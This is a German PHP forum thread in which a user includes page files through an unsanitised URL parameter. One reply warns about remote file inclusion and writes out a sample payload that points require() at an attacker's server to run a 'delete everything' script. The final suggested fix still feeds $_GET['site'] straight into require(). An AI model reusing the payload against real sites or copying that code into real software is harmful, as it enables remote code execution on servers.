Ein Porb mit include()...

Precog

Erfahrenes Mitglied
hallo,

ich weiß, dass dieses thema schon öfter hier war,
aber mir hat weder :denken: noch :suchen: geholfen...;)
ich hab meinen seitenaufbau mit hilfe von diesem thread
hier erstellt:
PHP:
<?php
if (!$site)
{ include ('inc/home.php'); }
else
{
require ("http://mitglied.lycos.de/victork007/kondel_design/inc/".$site.".php");
} ?>
Link:
PHP:
<map name="Map">
  <area shape="rect" coords="352,2,412,17" href="http://lala/lala2/index2.php?site=links">
</map>

seht ihr den fehler?
bestimmt....:)

thx,
victork

PS: das was includet werden soll, soll net die ganze seite
ausfüllen, sondern nur den bereich, in dem jetzt die seite
home.php ist....
 
gar nicht ...

include und require geht nur mit php dateien die auf dem gleichen server sind..

sprich kopier die php datei auf den server..
 
um diesen irrtum aufzuklären:

[color="dark-blue"]http://www.php.net/manual/en/function.include.php[/color]

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP or other supported wrapper - see Appendix I for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

was bekommst du eigentlich für eine fehlermeldung? =)

/*edit

du solltest das nicht so machen, wie du es dort oben gemacht hast. ich kann jetzt eine externe datei ausführen.
sagen wir, $site wird übergeben, dann gebe ich einfach ein

deinedatei.php?site=:moep@meinserver.com/allesloeschen.php?

damit hätte ich deinen pfad umgangen und mein eigenes script auf deinem server ausgeführt. keine gute sache, jedenfalls nicht für dich.

edit*/
 
Zuletzt bearbeitet:
ich hab die fehlermeldung 404
bekommen (seite nocht gefunden...)

es geht jetzt aber wieder..:
PHP:
<?php
if (!$site)
{ include ('inc/home.php'); }
else
{
require ("inc/".$site.".php");
} ?>

und der link:

href="index2.php?site=links"

thx,
victork
 
wie soll ich das sonst machen?

muss ich dafür xtra ne schleife einbauen,
und dann jeden link neu reinschreiben?

zhx
victork
 
<?php

if (!$_GET["site"]) {
include ('inc/home.php');
} else {
require ("inc/".$_GET["site"].".php");
}

?>

href="index2.php?site=links"
 
Zurück